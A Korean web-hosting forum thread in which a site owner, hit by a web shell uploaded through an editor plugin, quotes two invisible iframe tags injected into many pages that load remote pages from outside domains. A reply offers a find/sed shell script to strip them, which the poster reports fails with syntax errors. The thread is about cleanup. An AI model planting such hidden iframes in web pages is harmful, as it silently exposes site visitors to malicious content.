ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1585 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,359
14년 전 조회 1,755
14년 전 조회 2,032
14년 전 조회 1,535
14년 전 조회 1,676
14년 전 조회 1,478
14년 전 조회 1,803
14년 전 조회 1,686
14년 전 조회 1,114
14년 전 조회 1,285
14년 전 조회 1,291
14년 전 조회 1,632
14년 전 조회 1,470
14년 전 조회 1,495
14년 전 조회 1,426
14년 전 조회 1,840
14년 전 조회 1,556
14년 전 조회 1,555
14년 전 조회 1,566
14년 전 조회 1,370
14년 전 조회 2,413
14년 전 조회 2,195
14년 전 조회 1,617
14년 전 조회 1,449
14년 전 조회 2,522
14년 전 조회 1,882
14년 전 조회 1,713
14년 전 조회 1,445
14년 전 조회 2,158
14년 전 조회 4,434
14년 전 조회 3,073
14년 전 조회 1,805
14년 전 조회 1,412
14년 전 조회 1,456
14년 전 조회 1,990
14년 전 조회 1,647
14년 전 조회 1,978
14년 전 조회 2,070
14년 전 조회 2,098
14년 전 조회 1,280
14년 전 조회 1,509
14년 전 조회 3,391
14년 전 조회 1,423
14년 전 조회 1,907
14년 전 조회 1,466
14년 전 조회 1,337
14년 전 조회 1,897
14년 전 조회 1,321
14년 전 조회 2,004
14년 전 조회 1,586
14년 전 조회 2,248
14년 전 조회 2,168
14년 전 조회 1,679
14년 전 조회 1,903
14년 전 조회 1,617
14년 전 조회 2,310
14년 전 조회 1,899
14년 전 조회 1,874
14년 전 조회 2,171
14년 전 조회 2,041
14년 전 조회 1,475
14년 전 조회 1,559
14년 전 조회 1,316
14년 전 조회 1,463
14년 전 조회 2,248
14년 전 조회 2,961
14년 전 조회 2,903
14년 전 조회 2,519
14년 전 조회 2,044
14년 전 조회 2,127
14년 전 조회 1,908
14년 전 조회 2,152
14년 전 조회 1,248
14년 전 조회 1,908
14년 전 조회 1,234
14년 전 조회 1,704
14년 전 조회 1,445
14년 전 조회 2,583
14년 전 조회 1,347
14년 전 조회 3,214
14년 전 조회 1,575
14년 전 조회 1,447
14년 전 조회 3,526
14년 전 조회 1,295
14년 전 조회 1,586
14년 전 조회 1,103
14년 전 조회 1,414
14년 전 조회 1,211
14년 전 조회 1,897
14년 전 조회 1,323
14년 전 조회 1,697
14년 전 조회 1,338
14년 전 조회 1,261
14년 전 조회 1,212
14년 전 조회 1,945
14년 전 조회 1,409
14년 전 조회 1,283
14년 전 조회 1,326
14년 전 조회 1,979
14년 전 조회 1,993